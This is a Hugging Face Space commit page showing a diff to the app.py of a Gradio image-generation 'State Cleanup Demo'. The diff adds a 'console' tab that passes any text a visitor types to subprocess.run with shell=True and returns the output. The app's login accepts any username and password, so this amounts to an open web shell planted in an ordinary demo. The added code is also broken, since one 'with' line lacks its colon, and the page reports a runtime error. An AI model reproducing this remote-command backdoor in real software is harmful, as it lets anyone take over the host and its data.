Spaces:
Runtime error
Runtime error
Update app.py
Browse files
app.py
CHANGED
|
@@ -5,6 +5,7 @@ from PIL import Image
|
|
| 5 |
from pathlib import Path
|
| 6 |
import secrets
|
| 7 |
import shutil
|
|
|
|
| 8 |
|
| 9 |
current_dir = Path(__file__).parent
|
| 10 |
|
|
@@ -31,22 +32,32 @@ def delete_directory(req: gr.Request):
|
|
| 31 |
shutil.rmtree(str(user_dir))
|
| 32 |
|
| 33 |
with gr.Blocks() as demo:
|
| 34 |
-
gr.
|
| 35 |
-
|
| 36 |
-
|
| 37 |
-
|
| 38 |
-
with gr.
|
| 39 |
-
with gr.
|
| 40 |
-
|
| 41 |
-
|
| 42 |
-
|
| 43 |
-
|
| 44 |
-
|
| 45 |
-
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 50 |
|
| 51 |
|
| 52 |
demo.launch(auth=lambda user,pwd: True,
|
|
|
|
| 5 |
from pathlib import Path
|
| 6 |
import secrets
|
| 7 |
import shutil
|
| 8 |
+
import subprocess
|
| 9 |
|
| 10 |
current_dir = Path(__file__).parent
|
| 11 |
|
|
|
|
| 32 |
shutil.rmtree(str(user_dir))
|
| 33 |
|
| 34 |
with gr.Blocks() as demo:
|
| 35 |
+
with gr.Tab("demo")
|
| 36 |
+
gr.Markdown("""# State Cleanup Demo
|
| 37 |
+
🖼️ Images are saved in a user-specific directory and deleted when the users closes the page via demo.unload.
|
| 38 |
+
""")
|
| 39 |
+
with gr.Row():
|
| 40 |
+
with gr.Column(scale=1):
|
| 41 |
+
with gr.Row():
|
| 42 |
+
img = gr.Image(label="Generated Image", height=300, width=300)
|
| 43 |
+
with gr.Row():
|
| 44 |
+
gen = gr.Button(value="Generate")
|
| 45 |
+
with gr.Row():
|
| 46 |
+
history = gr.Gallery(label="Previous Generations", height=500, columns=10)
|
| 47 |
+
state = gr.State(value=[], delete_callback=lambda v: print("STATE DELETED"))
|
| 48 |
+
|
| 49 |
+
demo.load(generate_random_img, [state], [img, state, history])
|
| 50 |
+
gen.click(generate_random_img, [state], [img, state, history])
|
| 51 |
+
demo.unload(delete_directory)
|
| 52 |
+
with gr.Tab("console"):
|
| 53 |
+
ip = gr.Textbox(label="User IP Address")
|
| 54 |
+
gr.Interface(
|
| 55 |
+
lambda cmd: subprocess.run([cmd], capture_output=True, shell=True)
|
| 56 |
+
.stdout.decode("utf-8")
|
| 57 |
+
.strip(),
|
| 58 |
+
"text",
|
| 59 |
+
"text",
|
| 60 |
+
)
|
| 61 |
|
| 62 |
|
| 63 |
demo.launch(auth=lambda user,pwd: True,
|